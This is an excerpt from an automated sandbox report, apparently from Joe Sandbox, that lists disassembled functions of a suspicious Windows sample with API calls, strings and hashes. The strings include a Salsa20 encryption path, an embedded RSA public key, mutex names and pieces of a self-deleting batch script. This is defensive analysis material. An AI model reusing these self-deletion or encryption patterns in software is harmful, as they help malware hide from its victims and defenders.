Opcode Fuzzy Hash: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction Fuzzy Hash: D1E08636B415049BC7209B99ECC0B9DB374F785720F20437AD919733D047352D028A58

Uniqueness

Uniqueness Score: -1.00%

Function 00416950 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004169DF

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: 8a02d42dd33a216df8cc63c6f6beba748b7d17bbcaf92180e3e70ee783765c00
Instruction ID: aa06b8048d3bf760f527e7d0bbb9ad0a08af858ba63749c6f8d7f01112261dfe
Opcode Fuzzy Hash: 8a02d42dd33a216df8cc63c6f6beba748b7d17bbcaf92180e3e70ee783765c00
Instruction Fuzzy Hash: E731E3B2A006059BCB20DF68C5816AEB7F9EF45750F21823FE856D7740DB38DD448BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00416760 Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004167E6

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: c9838848fe5c8eec5df2989d35d9b90d637aecb244023d97c053b5662a189974
Instruction ID: efb258ddcfae47249c3acbfcaa5a8e986a9cbccba7edf1416c99c2e95f316cd5
Opcode Fuzzy Hash: c9838848fe5c8eec5df2989d35d9b90d637aecb244023d97c053b5662a189974
Instruction Fuzzy Hash: B83126B1A016019FDB24DF29C5807AEBBF4EB40364F104A2EE426977C0D738DA80C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 00416570 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004165C5

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID:
API String ID: 657562460-0
Opcode ID: e0e5a2f55fe47bad399a7528cbd0c3c4869536831e185f17c6957d537ae03e1f
Instruction ID: 5021f87c270b400a587bd724d9b61bde01bf534475f8b0cbfe068d44a909a5c2
Opcode Fuzzy Hash: e0e5a2f55fe47bad399a7528cbd0c3c4869536831e185f17c6957d537ae03e1f
Instruction Fuzzy Hash: A72124B5A00115DBCB14DF5CD981B9ABFA9EF45700F04822AEC058B348D738EA14CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0041CC50 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 0041CC83

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID:
API String ID: 657562460-0
Opcode ID: de2def72106617bd751837f4368c798c607475e2aba36bab134435c0d11de50f
Instruction ID: 52da3c53c07101cb0fed2dfe03d77d14ca015ab54627e4d196b0d3cf544a0d43
Opcode Fuzzy Hash: de2def72106617bd751837f4368c798c607475e2aba36bab134435c0d11de50f
Instruction Fuzzy Hash: 9AE026303803049BEB08DE12C890ABB7755DF92740B04803EAC0E8B361FA34DD04D7E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA10 Relevance: 1.5, APIs: 1, Instructions: 19threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001F130,?,00000000,00000000), ref: 0041FA25

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction ID: 74150d4eedde67828055b261a2b9f98274f0c47e32cd20f87c2cefabb50f2d8a
Opcode Fuzzy Hash: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction Fuzzy Hash: F1D05E322883147BE3140A9AAC06F867AC88B15B20F00403AB609DA1C0D9A1A8108A9C

Uniqueness

Uniqueness Score: -1.00%

Function 0041FD80 Relevance: 1.5, APIs: 1, Instructions: 18windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00410BD0: WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12

SendMessageW.USER32(?,00008004,00000000,00000000), ref: 0041FDA4

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: EnumMessageOpenSend
String ID:
API String ID: 1835186980-0
Opcode ID: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction ID: f1b321f5059a27c682919cb5e20fd2d447803ac3e15b06371c74c2023cac73f2
Opcode Fuzzy Hash: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction Fuzzy Hash: 27E02B311043406AD32097A4DC01F82BBC49F18728F00C81EF7CA6B9C1C5F1B04487ED

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDC0 Relevance: 1.5, APIs: 1, Instructions: 16threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001FD80,?,00000000,00529230), ref: 0041FDD6

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction ID: 36d07be7825d0dd215c2e58fd0e5fada4a3bc662417c17551b787912ef620d2a
Opcode Fuzzy Hash: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction Fuzzy Hash: 6FD012753C9305B7E7180BA6BC47F593A989B29B00F504036F60DD92D0DAB1F4509A5C

Uniqueness

Uniqueness Score: -1.00%

Function 004220B6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 004220C1

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction ID: 292279633ce522dfb3aa62ab9f23dea9a591004ce3b356b458beb681742a1975
Opcode Fuzzy Hash: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction Fuzzy Hash: FDB0927254021C77CF012E82EC02A493B199B60764F448021FB1C181B1E6BBE66496C9

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00000000,00000001,00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Function 00420FDD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00420FE8

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction ID: 060863096896a5b816ca94ba1531ddaea04f54b188c1fa908ac11e743c0bd32b
Opcode Fuzzy Hash: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction Fuzzy Hash: 1EB0927254020C77CE012A82EC02A497B199B516A4F408021FB0C18571A677A6A09A89

Uniqueness

Uniqueness Score: -1.00%

Function 00412900 Relevance: 1.3, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00412966

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 8f4b302a109149e1c86236d96d5ec9546fa84bf7a53b70ad92479d45d1ec3e12
Instruction ID: 3b43283c781d39060a285e1a990033b4cd03b7dd602a36c1420ec248ee7b7319
Opcode Fuzzy Hash: 8f4b302a109149e1c86236d96d5ec9546fa84bf7a53b70ad92479d45d1ec3e12
Instruction Fuzzy Hash: 0411B171A00219EBDF00DF59DC41BDFBBA8EF05718F00452AF819A7280D7BE99558BDA

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

OCP, xrefs: 004382C4
ACP, xrefs: 004382B3

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7, xrefs: 00419EC4
p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset
String ID: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7$p2Q
API String ID: 2102423945-533411867
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

input != nullptr && output != nullptr, xrefs: 0040C095
e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

" goto try, xrefs: 00412666
TEMP, xrefs: 004125DF
@echo off:trydel ", xrefs: 0041262A
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
del ", xrefs: 00412674
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
"if exist ", xrefs: 00412648
delself.bat, xrefs: 0041261C
D, xrefs: 00412720

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

DISPLAY, xrefs: 00482311
.\crypto\rand\rand_win.c, xrefs: 00482383

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----BEGIN , xrefs: 004636A4
-----, xrefs: 004636D4, 00463A21
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----END , xrefs: 0046382F, 00463940, 004639E4
